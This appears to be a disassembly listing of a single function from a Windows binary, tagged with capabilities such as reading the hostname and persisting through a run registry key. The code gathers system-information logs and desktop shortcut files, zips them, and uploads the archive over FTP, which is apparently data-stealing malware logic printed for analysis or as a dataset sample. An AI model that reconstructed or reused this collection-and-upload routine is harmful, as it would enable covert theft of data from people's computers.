Function at 0x140022248
Capabilities:
Accept command line arguments
Get common file path
Get hostname
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
mov word [rsp + 0x10], dx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
xor eax, eax
mov rdi, rcx
xorps xmm0, xmm0
mov qword [rsp + 0x59], rax
xor r14d, r14d
mov qword [rsp + 0x61], rax
lea rcx, [rbp + 0x20]
mov byte [rsp + 0x58], r14b
xor edx, edx
mov qword [rsp + 0x69], rax
mov r8d, 0x80
mov dword [rsp + 0x71], eax
mov word [rsp + 0x75], ax
mov byte [rsp + 0x77], al
movdqu xmmword [rbp - 0x60], xmm0
call fcn.14003a5c0
mov ecx, 0x104
call fcn.140037e70
mov r15, rax
mov qword [rbp - 0x68], rax
call fcn.140023094
mov rsi, rax
call fcn.1400231dc
mov rbx, rax
mov byte [rsp + 0x78], r14b
xor eax, eax
lea rdx, [0x14009d380]
lea rcx, str._UploadDesktop
mov qword [rsp + 0x79], rax
mov qword [rbp - 0x7f], rax
mov qword [rbp - 0x77], rax
mov dword [rbp - 0x6f], eax
mov word [rbp - 0x6b], ax
mov byte [rbp - 0x69], al
call fcn.140023788
mov r13, rax
call fcn.14001919c
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.140015818
test eax, eax
jne 0x140022330
mov r8, rdi
lea rdx, str.ZCCM:_DoUploadToFTP_DomainToIp_failed__s__n
lea ecx, [rax + 4]
call fcn.1400191e0
jmp 0x140022873
test rsi, rsi
jne 0x14002234b
lea rdx, [0x1400a1810]
mov ecx, 1
call fcn.1400191e0
jmp 0x140022873
test rbx, rbx
jne 0x140022359
lea rdx, [0x1400a1828]
jmp 0x14002233c
lea rdx, [0x14009e768]
mov rcx, rbx
call fcn.14003a760
test rax, rax
je 0x14002237f
lea rdx, [0x14009e768]
mov rcx, rbx
call fcn.14003a760
mov byte [rax], r14b
lea rcx, [rbp - 0x60]
call fcn.140016104
lea rdx, [rbp + 0x2f0]
mov dword [rbp + 0x2f0], 0x1f
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov r9, qword [0x1400c51e8]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
lea rdx, str._s_s_s_s__s
lea rax, [rsp + 0x58]
add r9, 0x268
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x20]
mov r8, rbx
mov qword [rsp + 0x20], rsi
call fcn.1400055a4
mov ecx, 0x800
call fcn.140037e70
mov r14, rax
lea rax, [0x14009d610]
mov qword [rbp - 0x50], rax
lea rax, str.IsEncrypted
mov qword [rbp - 0x48], rax
lea rax, str.PCInfoApp.log
mov qword [rbp - 0x40], rax
lea rax, str.PCInfoDrv_DrvList.Log
mov qword [rbp - 0x38], rax
lea rax, str.PCInfoDrv_File.Log
mov qword [rbp - 0x30], rax
lea rax, str.PCInfoDrv_Image.Log
mov qword [rbp - 0x28], rax
lea rax, [0x1400a18b8]
mov qword [rbp - 0x20], rax
lea rax, str.PCInfoDrv_Proc.Log
mov qword [rbp - 0x18], rax
lea rax, str.PCInfoDrv_ProcCPU.Log
mov qword [rbp - 0x10], rax
lea rax, str.PCRecord.Log
mov qword [rbp - 8], rax
lea rax, str.PCNetConn.Log
mov qword [rbp], rax
lea rax, [0x1400a1920]
mov qword [rbp + 8], rax
lea rax, [0x1400a1930]
mov qword [rbp + 0x10], rax
call fcn.140022890
mov rcx, r15
call fcn.140009ef0
mov ebx, 1
mov qword [r14], r15
mov edi, ebx
lea r12, [rbp - 0x48]
mov esi, ebx
mov ecx, 0x104
call fcn.140037e70
mov r9, qword [r12]
lea rdx, str._sADH_s
mov r8, qword [0x1400c5200]
mov rcx, rax
mov r15, rax
call fcn.1400055a4
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
lea rdx, str.UploadReg
call fcn.14003a760
test rax, rax
jne 0x1400224eb
mov rdx, qword [r12]
lea rcx, [0x1400a1930]
call fcn.140061a70
test eax, eax
je 0x14002250c
mov eax, edi
add edi, ebx
mov qword [r14 + rax*8], r15
cmp esi, ebx
jne 0x14002250c
mov r8d, ntohs
lea rdx, str.IsEncrypted
mov rcx, r15
call fcn.140021154
add esi, ebx
add r12, 8
cmp esi, 0xd
jb 0x140022496
cmp byte [r13], 0x31
jne 0x140022778
mov r13d, 0x200
lea rcx, [rbp + 0xa0]
mov r8d, r13d
xor edx, edx
call fcn.14003a5c0
mov eax, dword [str..lnk]
mov esi, 0x104
mov dword [rbp + 0x2f8], eax
mov ecx, esi
mov al, byte [0x14009d98c]
mov byte [rbp + 0x2fc], al
call fcn.140037e70
mov r8d, esi
xor edx, edx
mov rcx, rax
mov r15, rax
call fcn.14003a5c0
xor r9d, r9d
xor r8d, r8d
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x14002259d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.SHGetSpecialFolderPath_failed_error_d__r_n
mov ecx, ebx
mov r8d, eax
call fcn.1400191e0
mov r8, r13
lea rcx, [rbp + 0xa0]
xor edx, edx
call fcn.14003a5c0
mov r12d, 0x40
mov dword [rsp + 0x20], ebx
mov r9d, r12d
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x2f8]
mov rcx, r15
call fcn.14001ea60
test eax, eax
jne 0x1400225ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetAllFilesInDir_1stLevel_failed_error_d__r_n
mov ecx, ebx
mov r8d, eax
call fcn.1400191e0
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8, qword [rcx]
test r8, r8
je 0x140022605
mov eax, edi
add edi, ebx
mov qword [r14 + rax*8], r8
add edx, ebx
add rcx, 8
cmp edx, r12d
jb 0x1400225f5
mov rcx, rsi
call fcn.140037e70
xor edx, edx
mov r8d, 0x104
mov rcx, rax
mov rsi, rax
call fcn.14003a5c0
and dword [rsp + 0x38], 0
lea r8, str.Desktop
and qword [rsp + 0x30], 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov dword [rsp + 0x28], 0x103
mov r9d, ebx
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rsi
call fcn.140018520
test eax, eax
je 0x14002267b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Reg_QueryValue_failed_error_d__r_n
mov ecx, ebx
mov r8d, eax
call fcn.1400191e0
mov rdx, r15
mov rcx, rsi
call fcn.14007f078
test eax, eax
je 0x1400226f7
mov r8, r13
lea rcx, [rbp + 0xa0]
xor edx, edx
call fcn.14003a5c0
mov r9d, r12d
mov dword [rsp + 0x20], ebx
lea r8, [rbp + 0xa0]
mov rcx, rsi
lea rdx, [rbp + 0x2f8]
call fcn.14001ea60
test eax, eax
jne 0x1400226d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetAllFilesInDir_1stLevel_failed_error_d__r_n
mov ecx, ebx
mov r8d, eax
call fcn.1400191e0
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8, qword [rcx]
test r8, r8
je 0x1400226ec
mov eax, edi
add edi, ebx
mov qword [r14 + rax*8], r8
add edx, ebx
add rcx, 8
cmp edx, r12d
jb 0x1400226dc
mov r8, r13
lea rcx, [rbp + 0xa0]
xor edx, edx
call fcn.14003a5c0
mov r9d, r12d
mov dword [rsp + 0x20], ebx
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x2f8]
lea rcx, str.C:UsersPublicDesktop
call fcn.14001ea60
test eax, eax
jne 0x140022744
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.GetAllFilesInDir_1stLevel_failed_error_d_Public_Desktop__r_n
mov ecx, ebx
mov r8d, eax
call fcn.1400191e0
xor edx, edx
lea rcx, [rbp + 0xa0]
mov r8, qword [rcx]
test r8, r8
je 0x14002275d
mov eax, edi
add edi, ebx
mov qword [r14 + rax*8], r8
add edx, ebx
add rcx, 8
cmp edx, r12d
jb 0x14002274d
test rsi, rsi
je 0x140022778
mov rdx, rbx
mov rcx, rsi
call fcn.140037e68
call fcn.14002cb6c
and qword [rsp + 0x50], 0
lea rcx, [rsp + 0x40]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
call fcn.14002c918
mov rax, qword [rsp + 0x48]
xor r9d, r9d
mov rcx, qword [rsp + 0x40]
sub rax, rcx
sar rax, 5
test rax, rax
je 0x1400227e7
xor r8d, r8d
add rcx, r8
cmp qword [rcx + 0x18], 0x10
jb 0x1400227bf
mov rcx, qword [rcx]
mov eax, edi
add r9d, ebx
add edi, ebx
add r8, 0x20
mov qword [r14 + rax*8], rcx
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
sub rdx, rcx
movsxd rax, r9d
sar rdx, 5
cmp rax, rdx
jb 0x1400227b2
mov ecx, 0x104
call fcn.140037e70
mov r8, qword [0x1400c5200]
lea rdx, str._sADHPcInfo.zip
mov rcx, rax
mov rsi, rax
call fcn.1400055a4
lea r9, [0x1400a1a0c]
mov r8d, edi
mov rdx, r14
mov rcx, rsi
call fcn.14001e2bc
test eax, eax
jne 0x140022833
lea rdx, str.CreateZipFile_failed__r_n
mov ecx, ebx
call fcn.1400191e0
jmp 0x14002284b
movzx edx, word [rbp + 0x2e8]
lea r9, [rbp + 0x20]
mov r8, rsi
lea rcx, [rsp + 0x78]
call fcn.140023d10
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x14002285c
mov rdx, rbx
call fcn.140037e68
mov edx, 8
mov rcx, r14
call fcn.140037e68
lea rcx, [rsp + 0x40]
call fcn.140004974
xor eax, eax
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret